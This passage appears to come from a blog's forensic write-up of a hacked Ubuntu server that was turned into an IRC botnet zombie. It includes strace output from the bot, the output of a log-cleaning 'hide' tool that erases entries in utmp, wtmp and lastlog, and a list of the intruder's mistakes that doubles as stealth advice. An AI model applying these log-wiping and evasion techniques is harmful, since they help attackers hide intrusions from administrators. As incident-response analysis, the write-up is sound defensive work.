Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all
behind a NAT gateway - it will be very hard to get hold of the
miscreant.

This incident will, in the long run, definitely help me getting
rid of the NAT boxes in setups like that, but right now, we will
have to make do with what we have.

> Please investigate the host in question. Perhaps is this a
> compromised host on your network acting as a jumpstation for

Sure, and even in a NATed environment, this is still possible.

Btw, you did a great job in analysing the compromised machine!

I'll let you know when I have either further questions or any
interesting results.

Cheers,

Alexander Talos

- --
IT-Security, Universitaet Wien, ACOnet CERT

T: +43-1-4277-14351  M: +43-664-60277-14351


No luck there I'm afraid..

Oh, - and I tried to log in using ssh (on port 54098) on all zombies listed here, but no ports where open. The other zombies are probably using other ports for the ssh backdoor.

The other identified network stream, destined to "83.18.74.235" was garbled, so it's time to fire up up strace again:

root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace


As expected, this creates a lot of output. Among other things, it tries to start the irc-client "BitchX":

[pid  7537] execve("/bin/sh", ["sh", "-c", "BitchX -v 2> /dev/null"]

Which fails, since BitchX is not installed:

[pid  7537] write(2, "sh: ", 4)         = 4
[pid  7537] write(2, "BitchX: not found", 17) = 17
[pid  7537] write(2, "n", 1)           = 1
[pid  7537] close(2)                    = 0

You can see some of the traffic from tcpdump in the picture below:

This was just for one of the two smbd-processes. The other connected to the same polish site, and instead of "irc.powertech.no", it connected to "irc.hitos.no", an IRC-server located in Tromsø.

Also, what the cracker did, was to run a program called "hide" to clean entries from various log-files:

root@server1:/usr/lib/libsh# ./hide +
                Linux Hider v2.0 by mave
                enhanced by me!
[+] [Shkupi Logcleaner] Removing + from the logs........ .

[+] /var/log/messages  ... [done]

[+] /var/run/utmp      ... [done]

[+] /var/log/lastlog   ... [done]

[+] /var/log/wtmp      ... [done]

            * m i s s i o n  a c c o m p l i s h e d *

                    p.h.e.e.r  S.H.c.r.e.w

server1:/usr/lib/libsh#

So why did the attacker then wipe out "/var/log/*"? Did he not trust this tool? Did he panicked?

So the box has been compromised, backdoor installed and it's been converted to a zombie. The attacker made several mistakes allowing him to be detected:

• Forgot to wipe out root's .bash_history.
• Wiped out everything under "/var/log/*", including directories which several programs relied on and thereby refusing to start. Now, why did he do that? This certainly was stupid.
• Changed the root-password. Another bummer. Never ever change the root-password. This surely will catch the attention of a sysadmin.
• Did not password-protect the IRC-channel where all his zombies resides. Not that it doesn't matter much for us, since we would have sniffed that up as soon as the zombie tried to join the channel.
• Do the attacker still hang around the same channel as all his zombies does (the LaPi-guy)? If so he's just begging to be exposed.

Severeal questions remains:

   1. Why was the command "ssh ftp@62.101.251.166" entered? Did the attacker made a mistake in typing this command or did it serve some other purpose? The IP addres resolves to:

      $ dig +short -x 62.101.251.166
      cA6FB653E.dhcp.bluecom.no.

   2. What kind of traffic goes to 83.18.74.235 (manhattan.na.pl) ?
   3. And the most important question is, how did he get access in the first time? The server was running Ubuntu 6.06 LTS (i386) and was fairly updated. The compromised could be caused by:
          * Guessing the root-password. Unlikely, the password was (fairly) strong.
          * An exploit unknown to the public.
          * A user accessing this server from an already compromised host. The attacker could then sniff the the password.